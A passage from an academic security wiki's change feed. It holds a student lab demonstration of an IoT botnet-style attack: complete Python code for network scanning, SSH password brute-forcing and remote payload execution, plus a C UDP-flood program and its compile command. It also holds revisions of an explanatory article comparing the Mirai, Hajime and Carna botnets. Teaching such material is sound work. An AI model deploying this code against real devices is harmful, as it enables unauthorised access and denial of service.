# Perform a network scan to identify active devices within the network (inspired by the Carna botnet scanning method&amp;lt;ref&amp;gt;https://census2012.sourceforge.net/paper.html&amp;lt;/ref&amp;gt;).&lt;br /&gt;
# Execute a brute-force attack to gain unauthorized access to the identified IoT device.&lt;br /&gt;
# Upload and execute a payload onto the compromised device to prepare for the attack.&lt;br /&gt;
# Use the compromised IoT device to launch a UDP Flood attack targeting a specific server.&lt;br /&gt;
# This attack should last for 30seconds and than stop by its self.&lt;br /&gt;
&lt;br /&gt;
== Experiment Setup ==&lt;br /&gt;
The experiment setup includes:&lt;br /&gt;
Hardware:&lt;br /&gt;
Raspberry Pi 2 as the attacking device  &lt;br /&gt;
This device was used as it simulated an IoT device and reflected the computational limitations of such devices.&lt;br /&gt;
&lt;br /&gt;
Target server configured to monitor incoming traffic  &lt;br /&gt;
An Ubuntu Server 24.04.01 was deployed with 2 cores of an AMD Ryzen 5700u to simulate a desktop machine.&lt;br /&gt;
&lt;br /&gt;
Software:&lt;br /&gt;
Python scripts for scanning the network and executing brute-force attacks.&lt;br /&gt;
A compiled C program to launch the UDP Flood attack.&lt;br /&gt;
Network monitoring tools like Wireshark to observe the impact of the attack.&lt;br /&gt;
&lt;br /&gt;
[[File:Practical_Demonstration.png|center|thumb|Test Setup]]&lt;br /&gt;
&lt;br /&gt;
== Description of the Process ==&lt;br /&gt;
1. **Scanning the Network:**  &lt;br /&gt;
   Using Python, a network scan was conducted to detect active devices in the local subnet. Each device&#039;s IP address and open ports were recorded for further analysis.&lt;br /&gt;
&lt;br /&gt;
   The following code snippet defines the `find_raspberry_pi` function, which scans the private network `192.168.1.0/24` and identifies the Raspberry Pi 2 by its MAC address prefix:&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
   def find_raspberry_pi():&lt;br /&gt;
       print(&amp;quot;Scanning network...\n&amp;quot;)&lt;br /&gt;
       nm = nmap.PortScanner()&lt;br /&gt;
       raspberry_mac_prefix = &amp;quot;B8:27:EB&amp;quot;.lower()&lt;br /&gt;
       network_range = &#039;192.168.1.0/24&#039;&lt;br /&gt;
&lt;br /&gt;
       # Conducting the scan&lt;br /&gt;
       nm.scan(hosts=network_range, arguments=&#039;-p 22,80,8080 -sS&#039;)&lt;br /&gt;
       raspberry_ip = None&lt;br /&gt;
&lt;br /&gt;
       for host in nm.all_hosts():&lt;br /&gt;
           print(f&amp;quot;Scanning host {host}...&amp;quot;)&lt;br /&gt;
           if &#039;addresses&#039; in nm[host] and &#039;mac&#039; in nm[host][&#039;addresses&#039;]:&lt;br /&gt;
               mac_address = nm[host][&#039;addresses&#039;][&#039;mac&#039;].lower()&lt;br /&gt;
               print(f&amp;quot;Host {host} has MAC address {mac_address}&amp;quot;)&lt;br /&gt;
               if mac_address.startswith(raspberry_mac_prefix):&lt;br /&gt;
                   print(f&amp;quot;\nRaspberry Pi found: {host} with MAC address {mac_address}\n&amp;quot;)&lt;br /&gt;
                   raspberry_ip = host&lt;br /&gt;
&lt;br /&gt;
       print(&amp;quot;\nScan complete.&amp;quot;)&lt;br /&gt;
       input(&amp;quot;\n[Press Enter to proceed with brute-force...]\n&amp;quot;)&lt;br /&gt;
       return raspberry_ip&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. **Brute-Force Attack:**  &lt;br /&gt;
   A script attempted to gain access to the Raspberry Pi via SSH using a dictionary attack. Upon successful authentication, the payload was uploaded to the device.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Brute-Force&lt;br /&gt;
def ssh_brute_force(ip):&lt;br /&gt;
    print(f&amp;quot;\nStarte Brute-Force-Angriff auf {ip}...\n&amp;quot;)&lt;br /&gt;
    port = 22&lt;br /&gt;
    usernames = [&#039;admin&#039;, &#039;user&#039;]&lt;br /&gt;
    passwords = [&#039;1234&#039;, &#039;admin&#039;, &#039;password&#039;]&lt;br /&gt;
    local_file = &amp;quot;C:/Users/julia/Documents/VSCode/AKITS_BOT/akits/udp_flood&amp;quot;&lt;br /&gt;
    remote_path = f&amp;quot;/home/admin/udp_flood&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ssh = paramiko.SSHClient()&lt;br /&gt;
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())&lt;br /&gt;
&lt;br /&gt;
    for username in usernames:&lt;br /&gt;
        for password in passwords:&lt;br /&gt;
            try:&lt;br /&gt;
                print(f&amp;quot;Versuche: {username}:{password}&amp;quot;)&lt;br /&gt;
                ssh.connect(ip, port=port, username=username, password=password, timeout=3)&lt;br /&gt;
                print(f&amp;quot;\nErfolgreich! Benutzer: {username}, Passwort: {password}\n&amp;quot;)&lt;br /&gt;
                input(&amp;quot;\n[Datei hochladen? Drücke Enter, um fortzufahren...]\n&amp;quot;)&lt;br /&gt;
                upload_and_execute(ssh, username, local_file, remote_path)&lt;br /&gt;
                return&lt;br /&gt;
            except paramiko.AuthenticationException:&lt;br /&gt;
                print(f&amp;quot;Fehlgeschlagen für: {username}:{password}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;Fehler: {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    ssh.close()&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. **Executing the Attack:**  &lt;br /&gt;
   The payload was executed directly on the Raspberry Pi, targeting a designated server. The UDP Flood attack sent a high volume of packets over a duration of 30 seconds.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
def upload_and_execute(ssh, username, local_file, remote_path):&lt;br /&gt;
    try:&lt;br /&gt;
        sftp = ssh.open_sftp()&lt;br /&gt;
&lt;br /&gt;
        if os.path.exists(local_file):&lt;br /&gt;
            print(f&amp;quot;Datei gefunden: {local_file}&amp;quot;)&lt;br /&gt;
        else:&lt;br /&gt;
            print(f&amp;quot;Datei nicht gefunden: {local_file}&amp;quot;)&lt;br /&gt;
            return&lt;br /&gt;
&lt;br /&gt;
        print(f&amp;quot;Lade {local_file} auf {remote_path} hoch...\n&amp;quot;)&lt;br /&gt;
        sftp.put(local_file, remote_path)&lt;br /&gt;
        ssh.exec_command(f&amp;quot;chmod +x {remote_path}&amp;quot;)&lt;br /&gt;
        input(&amp;quot;\n[Achtung: Nach der nächsten Bestätigung beginnt der Flooding-Angriff. Drücke Enter, um fortzufahren...]\n&amp;quot;)&lt;br /&gt;
        print(f&amp;quot;\nFühre {remote_path} aus...\n&amp;quot;)&lt;br /&gt;
        stdin, stdout, stderr = ssh.exec_command(f&amp;quot;{remote_path}&amp;quot;)&lt;br /&gt;
        print(stdout.read().decode())&lt;br /&gt;
        print(stderr.read().decode())&lt;br /&gt;
&lt;br /&gt;
        sftp.close()&lt;br /&gt;
        ssh.close()&lt;br /&gt;
        print(&amp;quot;\nDatei erfolgreich hochgeladen und ausgeführt.&amp;quot;)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;Fehler bei der Übertragung und Ausführung der Datei: {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Hauptlogik&lt;br /&gt;
raspberry_ip = find_raspberry_pi()&lt;br /&gt;
&lt;br /&gt;
if raspberry_ip:&lt;br /&gt;
    ssh_brute_force(raspberry_ip)&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;\nKein Raspberry Pi gefunden. Das Skript wird beendet.&amp;quot;)&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== The C Script ==&lt;br /&gt;
This script was the one actually uploaded to the Raspberry Pi 2 and executed.&lt;br /&gt;
It is important to note that this script was not uploaded in its current form but first needed to be converted into a native binary format that the Raspberry Pi 2 can execute. This process has the significant advantage of removing the need for the Raspberry Pi 2 to convert the code into machine language during execution. The binary is already fully prepared to run as-is.&lt;br /&gt;
&lt;br /&gt;
To achieve this, I used the GCC tool on Linux (Ubuntu). The exact command was:&lt;br /&gt;
&lt;br /&gt;
arm-linux-gnueabihf-gcc -o udp_flood udp_flood.c&lt;br /&gt;
&lt;br /&gt;
This command converts a file named udp_flood.c into a native binary called udp_flood, which can be executed directly by the Raspberry Pi 2.&lt;br /&gt;
&lt;br /&gt;
It is crucial to take extra care here because the Raspberry Pi 2 runs Linux on an ARM chip, which requires using the appropriate cross-compiler (arm-linux-gnueabihf-gcc) to ensure compatibility with its architecture.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;
#include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;  // Für sleep-Funktion&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    int sock;&lt;br /&gt;
    struct sockaddr_in target;&lt;br /&gt;
    char message[1024];&lt;br /&gt;
    time_t start_time, current_time;&lt;br /&gt;
&lt;br /&gt;
    // Vordefinierte Ziel-IP und Ziel-Port&lt;br /&gt;
    char target_ip[] = &amp;quot;192.168.1.238&amp;quot;;  // Ziel-IP hier festlegen&lt;br /&gt;
    int target_port = 22;               // Ziel-Port hier festlegen&lt;br /&gt;
&lt;br /&gt;
    // Fülle die Nachricht mit Dummy-Daten&lt;br /&gt;
    memset(message, &#039;X&#039;, sizeof(message));&lt;br /&gt;
&lt;br /&gt;
    // Erstelle das UDP-Socket&lt;br /&gt;
    if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) &amp;lt; 0) {&lt;br /&gt;
        perror(&amp;quot;Socket konnte nicht erstellt werden&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    // Setze die Ziel-IP und den Port&lt;br /&gt;
    target.sin_family = AF_INET;&lt;br /&gt;
    target.sin_port = htons(target_port);&lt;br /&gt;
    target.sin_addr.s_addr = inet_addr(target_ip);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Starte UDP-Flood auf %s:%d für 30 Sekunden\n&amp;quot;, target_ip, target_port);&lt;br /&gt;
    &lt;br /&gt;
    // Starte die Zeitmessung&lt;br /&gt;
    time(&amp;amp;start_time);&lt;br /&gt;
&lt;br /&gt;
    // Sende Pakete für 30 Sekunden&lt;br /&gt;
    do {&lt;br /&gt;
        sendto(sock, message, sizeof(message), 0, (struct sockaddr *)&amp;amp;target, sizeof(target));&lt;br /&gt;
        time(&amp;amp;current_time);&lt;br /&gt;
    } while (difftime(current_time, start_time) &amp;lt; 30);  // Laufzeit 30 Sekunden&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;UDP-Flooding-Angriff beendet.\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    close(sock);  // Schließe das Socket&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. **Monitoring the Network:**  &lt;br /&gt;
   This experiment was conducted under two conditions:&lt;br /&gt;
   1. Without resource limitations on the target device (Ubuntu server). &lt;br /&gt;
   2. With network throttling applied to the target device to simulate a stronger attack.&lt;br /&gt;
&lt;br /&gt;
== Findings ==&lt;br /&gt;
Under Condition 1 the attack occurred, but the server processed the traffic without significant disruption. It could handle the incoming packets and was able to be connected the whole time.&lt;br /&gt;
[[File:Attack1.png|thumb|center|Unsuccessful attack]]&lt;br /&gt;
Under Condition 2, the attack significantly disrupted the server, causing packet loss and disconnections for logged-in users. Some packets were able to come througth. But none of the pings that were sent to the target.&lt;br /&gt;
[[File:Attack2.png|thumb|center|Successful attack]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
This scenario is, of course, not at a level to execute actual attacks or pose any real-world threats. However, what it has impressively demonstrated is the capability to simulate an effective and practical IoT-based attack with minimal resources. Using less than 100 lines of code, the experiment replicated techniques employed by well-known botnets, such as Mirai and Carna, to highlight the simplicity and accessibility of such methods.&lt;br /&gt;
&lt;br /&gt;
What makes this demonstration particularly striking is the low barrier to entry—leveraging common tools like Python and nmap alongside a Raspberry Pi, a device readily available and inexpensive. This underscores the reality that even basic hardware and software setups can exploit common IoT vulnerabilities, such as weak authentication mechanisms and open network ports.&lt;br /&gt;
&lt;br /&gt;
While the attack itself was conducted under controlled and ethical conditions, it illustrates how quickly a targeted device could be identified, compromised, and weaponized to disrupt other systems. The experiment serves as a sobering reminder of the real-world risks posed by insecure IoT devices and the need for robust security measures to mitigate such threats.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Practical_Demonstration.png&amp;diff=17146</id>
		<title>File:Practical Demonstration.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Practical_Demonstration.png&amp;diff=17146"/>
		<updated>2024-12-16T14:33:27Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=17144</id>
		<title>Hajime vs Mirai vs Carna</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=17144"/>
		<updated>2024-12-16T14:27:37Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
IoT [[Botnets|botnet]] are networks of IoT devices that have been [[IoT_Malware|infected by malware]] and can be controlled either through a centralized or decentralized approach. These devices are often highly vulnerable because they have weak or default credentials. IoT devices are specially  in high demand for those attacks simply by the nature that so many of such devices exist.[[File:IoT_devicesNumber.png|center|thumb|Estimated number of IoT Devices&amp;lt;ref name=&amp;quot;IoTDevices&amp;quot;&amp;gt;[https://www.researchgate.net/figure/Global-active-IoT-devices-over-the-years-1_fig1_360765945 ResearchGate - Global Active IoT Devices Over the Years]&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this article, we will examine and compare three well-known IoT botnets: Mirai, Hajime, and Carna.&lt;br /&gt;
&lt;br /&gt;
== A Short History Of Botnets ==&lt;br /&gt;
The term ”botnet” refers to a network of compromised devices controlled by a single operator. Early examples like EarthLink Spammer in2000, one of the first large botnets, highlighted the potential of automated malicious activities.ZeuS, emerging in 2007, marked a turning point by enabling banking credential theft on a massive scale. The Carna botnet (2012) conducted the Internet Census, revealing systemic security issues in IoT devices. Modern botnets like Mirai and Hajime have showcased the immense power of leveraging vulnerable IoT devices for Distributed Denial of Service (DDoS) attacks.&lt;br /&gt;
&lt;br /&gt;
== Mirai ==&lt;br /&gt;
&lt;br /&gt;
Mirai&amp;lt;ref name=&amp;quot;MiraiReference&amp;quot;&amp;gt;https://www.bsi.bund.de/DE/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/Steckbriefe/Mirai.html&amp;lt;/ref&amp;gt; is a botnet that specifically targets IoT devices and uses them for large-scale Distributed Denial of Service ([https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS]) attacks. Mirai spreads by scanning the internet for devices that are easy to compromise — typically those that still use default usernames and passwords like &amp;quot;admin:admin&amp;quot; or &amp;quot;root:root&amp;quot;. There are large databases available that contain millions of such credentials, making it easy for attackers to gain access. Mirai consists of three main components: a C&amp;amp;C server, a scanner, and a loader that installs the malware onto vulnerable devices.&amp;lt;ref name=&amp;quot;MiraiReference2&amp;quot;&amp;gt;https://ieeexplore.ieee.org/document/8170867&amp;lt;/ref&amp;gt;&lt;br /&gt;
[[File:Mirai_Kommunkation.png|center|thumb|Generic P2P Attack Communication&amp;lt;ref&amp;gt;Julian Wildauer, &#039;&#039;Hajime vs Mirai vs Carna&#039;&#039;, Unpublished Manuscript, 2024.&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
== Hajime ==&lt;br /&gt;
&lt;br /&gt;
Hajime differs from Mirai because it uses a peer-to-peer&amp;lt;ref name=&amp;quot;PeerToPeerReference&amp;quot;&amp;gt;https://www.researchgate.net/publication/345805408_Botnet_Fingerprint_Using_Bro-IDS&amp;lt;/ref&amp;gt; architecture, which means there is no central server in control. This makes it much harder for authorities to take down the whole botnet since there isn’t a single point of failure. This architecture is more advanced compared to using a C&amp;amp;C server. Interestingly, Hajime does not conduct DDoS attacks like Mirai. Instead, it appears to protect the compromised devices by blocking certain ports. Despite this, it remains a potential threat because it still maintains unauthorized control over IoT devices.&amp;lt;ref name=&amp;quot;HajimeReference&amp;quot;&amp;gt;https://www.infopoint-security.de/media/Botnet_Hajime_Radware_Analyse.pdf&amp;lt;/ref&amp;gt;&lt;br /&gt;
[[File:P2P_comm.png|center|thumb|Generic P2P Attack Communication&amp;lt;ref&amp;gt;Julian Wildauer, &#039;&#039;Hajime vs Mirai vs Carna&#039;&#039;, Unpublished Manuscript, 2024.&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Carna ==&lt;br /&gt;
&lt;br /&gt;
Carna is quite unusual. It was created as part of the Internet Census 2012&amp;lt;ref name=&amp;quot;CarnaReference&amp;quot;&amp;gt;https://census2012.sourceforge.net/paper.html&amp;lt;/ref&amp;gt; project to find unsecured IoT devices and map the global IoT landscape. Unlike Mirai and Hajime, Carna wasn’t designed for malicious purposes. Instead, it used infected devices to collect data about the internet — without conducting any known attacks like DDoS. Carna was a research initiative to demonstrate how many IoT devices were exposed and lacked proper security. It was designed to perform multiple censuses and then delete itself from the devices. Its data was used in many research papers&amp;lt;ref&amp;gt;https://dl.acm.org/doi/pdf/10.1145/2656877.2656893&amp;lt;/ref&amp;gt;, but overall, the census was illegal, and the results need to be treated therefore with caution.&lt;br /&gt;
[[File:carna420.jpg|center|thumb|Carna Clients in 2012&amp;lt;ref&amp;gt; name=&amp;quot;carna&amp;quot;&amp;gt;https://census2012.sourceforge.net/images.html&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
== Stages of Botnet Attacks ==&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Scanning:&#039;&#039;&#039; Identifies vulnerable devices via open ports or default credentials.  &lt;br /&gt;
# &#039;&#039;&#039;Infection:&#039;&#039;&#039; Installs malicious payload or backdoor.  &lt;br /&gt;
# &#039;&#039;&#039;Command and Conquer:&#039;&#039;&#039; Establishes connection to the botnet operator.  &lt;br /&gt;
# &#039;&#039;&#039;Attack Execution:&#039;&#039;&#039; Launches attacks such as &#039;&#039;&#039;DDoS&#039;&#039;&#039;, data theft, or lateral movement.  &lt;br /&gt;
&lt;br /&gt;
== Comparison of the Botnets ==&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ Differences between Mirai, Hajime, and Carna&lt;br /&gt;
|-&lt;br /&gt;
! Botnet !! Architecture !! Main Objective !! Special Features&lt;br /&gt;
|-&lt;br /&gt;
| Mirai || Centralized (C&amp;amp;C) || DDoS attacks || Uses default logins for infiltration&lt;br /&gt;
|-&lt;br /&gt;
| Hajime || Peer-to-peer || Protection of infected devices || No centralized control, blocks ports&lt;br /&gt;
|-&lt;br /&gt;
| Carna || Centralized || Research purposes || Developed for mapping global IoT security, no destructive activities&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Ethical Debate Around Botnets ==&lt;br /&gt;
While some botnets, like Carna, claim to serve research purposes, their legality and ethical implications are heavily debated. Unauthorized access, even for non-malicious intentions, raises questions about privacy and consent, underscoring the need for stricter security practices.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Mirai, Hajime, and Carna have different goals and architectures. Mirai is used for large-scale [https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS] attacks, Hajime attempts to protect the devices it infects from other threats, and Carna was primarily a research project highlighting the security issues in IoT devices. What&#039;s interesting is that despite having very different objectives, these botnets often use similar methods to spread and compromise devices.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* Mirai: [https://www.cloudflare.com/de-de/learning/ddos/glossary/mirai-botnet/ Cloudflare - Mirai Botnet]&lt;br /&gt;
* Hajime: [https://www.theregister.com/2017/04/27/hajime_iot_botnet/ The Register - Hajime IoT Botnet]&lt;br /&gt;
* Carna: [https://www.c0mplex1.com/blog/carna-botnet-history/ Complex1 - Carna Botnet History]&lt;br /&gt;
* [https://census2012.sourceforge.net/paper.html Internet Census 2012 - Carna Botnet Paper]&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Mirai_Kommunkation.png&amp;diff=17143</id>
		<title>File:Mirai Kommunkation.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Mirai_Kommunkation.png&amp;diff=17143"/>
		<updated>2024-12-16T14:26:38Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:P2P_comm.png&amp;diff=17142</id>
		<title>File:P2P comm.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:P2P_comm.png&amp;diff=17142"/>
		<updated>2024-12-16T14:18:11Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=17141</id>
		<title>Hajime vs Mirai vs Carna</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=17141"/>
		<updated>2024-12-16T14:17:25Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
IoT [[Botnets|botnet]] are networks of IoT devices that have been [[IoT_Malware|infected by malware]] and can be controlled either through a centralized or decentralized approach. These devices are often highly vulnerable because they have weak or default credentials. IoT devices are specially  in high demand for those attacks simply by the nature that so many of such devices exist.[[File:IoT_devicesNumber.png|center|thumb|Estimated number of IoT Devices&amp;lt;ref name=&amp;quot;IoTDevices&amp;quot;&amp;gt;[https://www.researchgate.net/figure/Global-active-IoT-devices-over-the-years-1_fig1_360765945 ResearchGate - Global Active IoT Devices Over the Years]&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this article, we will examine and compare three well-known IoT botnets: Mirai, Hajime, and Carna.&lt;br /&gt;
&lt;br /&gt;
== A Short History Of Botnets ==&lt;br /&gt;
The term ”botnet” refers to a network of compromised devices controlled by a single operator. Early examples like EarthLink Spammer in2000, one of the first large botnets, highlighted the potential of automated malicious activities.ZeuS, emerging in 2007, marked a turning point by enabling banking credential theft on a massive scale. The Carna botnet (2012) conducted the Internet Census, revealing systemic security issues in IoT devices. Modern botnets like Mirai and Hajime have showcased the immense power of leveraging vulnerable IoT devices for Distributed Denial of Service (DDoS) attacks.&lt;br /&gt;
&lt;br /&gt;
== Mirai ==&lt;br /&gt;
&lt;br /&gt;
Mirai&amp;lt;ref name=&amp;quot;MiraiReference&amp;quot;&amp;gt;https://www.bsi.bund.de/DE/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/Steckbriefe/Mirai.html&amp;lt;/ref&amp;gt; is a botnet that specifically targets IoT devices and uses them for large-scale Distributed Denial of Service ([https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS]) attacks. Mirai spreads by scanning the internet for devices that are easy to compromise — typically those that still use default usernames and passwords like &amp;quot;admin:admin&amp;quot; or &amp;quot;root:root&amp;quot;. There are large databases available that contain millions of such credentials, making it easy for attackers to gain access. Mirai consists of three main components: a C&amp;amp;C server, a scanner, and a loader that installs the malware onto vulnerable devices.&amp;lt;ref name=&amp;quot;MiraiReference2&amp;quot;&amp;gt;https://ieeexplore.ieee.org/document/8170867&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hajime ==&lt;br /&gt;
&lt;br /&gt;
Hajime differs from Mirai because it uses a peer-to-peer&amp;lt;ref name=&amp;quot;PeerToPeerReference&amp;quot;&amp;gt;https://www.researchgate.net/publication/345805408_Botnet_Fingerprint_Using_Bro-IDS&amp;lt;/ref&amp;gt; architecture, which means there is no central server in control. This makes it much harder for authorities to take down the whole botnet since there isn’t a single point of failure. This architecture is more advanced compared to using a C&amp;amp;C server. Interestingly, Hajime does not conduct DDoS attacks like Mirai. Instead, it appears to protect the compromised devices by blocking certain ports. Despite this, it remains a potential threat because it still maintains unauthorized control over IoT devices.&amp;lt;ref name=&amp;quot;HajimeReference&amp;quot;&amp;gt;https://www.infopoint-security.de/media/Botnet_Hajime_Radware_Analyse.pdf&amp;lt;/ref&amp;gt;&lt;br /&gt;
[[File:carna420.jpg|center|thumb|Generic P2P Attack Communication&amp;lt;ref name=&amp;quot;P2P Attack Communication&amp;quot;&amp;gt;https://census2012.sourceforge.net/images.html&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
== Carna ==&lt;br /&gt;
&lt;br /&gt;
Carna is quite unusual. It was created as part of the Internet Census 2012&amp;lt;ref name=&amp;quot;CarnaReference&amp;quot;&amp;gt;https://census2012.sourceforge.net/paper.html&amp;lt;/ref&amp;gt; project to find unsecured IoT devices and map the global IoT landscape. Unlike Mirai and Hajime, Carna wasn’t designed for malicious purposes. Instead, it used infected devices to collect data about the internet — without conducting any known attacks like DDoS. Carna was a research initiative to demonstrate how many IoT devices were exposed and lacked proper security. It was designed to perform multiple censuses and then delete itself from the devices. Its data was used in many research papers&amp;lt;ref&amp;gt;https://dl.acm.org/doi/pdf/10.1145/2656877.2656893&amp;lt;/ref&amp;gt;, but overall, the census was illegal, and the results need to be treated therefore with caution.&lt;br /&gt;
[[File:carna420.jpg|center|thumb|Carna Clients in 2012&amp;lt;ref name=&amp;quot;carna&amp;quot;&amp;gt;https://census2012.sourceforge.net/images.html&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
== Stages of Botnet Attacks ==&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Scanning:&#039;&#039;&#039; Identifies vulnerable devices via open ports or default credentials.  &lt;br /&gt;
# &#039;&#039;&#039;Infection:&#039;&#039;&#039; Installs malicious payload or backdoor.  &lt;br /&gt;
# &#039;&#039;&#039;Command and Conquer:&#039;&#039;&#039; Establishes connection to the botnet operator.  &lt;br /&gt;
# &#039;&#039;&#039;Attack Execution:&#039;&#039;&#039; Launches attacks such as &#039;&#039;&#039;DDoS&#039;&#039;&#039;, data theft, or lateral movement.  &lt;br /&gt;
&lt;br /&gt;
== Comparison of the Botnets ==&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ Differences between Mirai, Hajime, and Carna&lt;br /&gt;
|-&lt;br /&gt;
! Botnet !! Architecture !! Main Objective !! Special Features&lt;br /&gt;
|-&lt;br /&gt;
| Mirai || Centralized (C&amp;amp;C) || DDoS attacks || Uses default logins for infiltration&lt;br /&gt;
|-&lt;br /&gt;
| Hajime || Peer-to-peer || Protection of infected devices || No centralized control, blocks ports&lt;br /&gt;
|-&lt;br /&gt;
| Carna || Centralized || Research purposes || Developed for mapping global IoT security, no destructive activities&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Ethical Debate Around Botnets ==&lt;br /&gt;
While some botnets, like Carna, claim to serve research purposes, their legality and ethical implications are heavily debated. Unauthorized access, even for non-malicious intentions, raises questions about privacy and consent, underscoring the need for stricter security practices.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
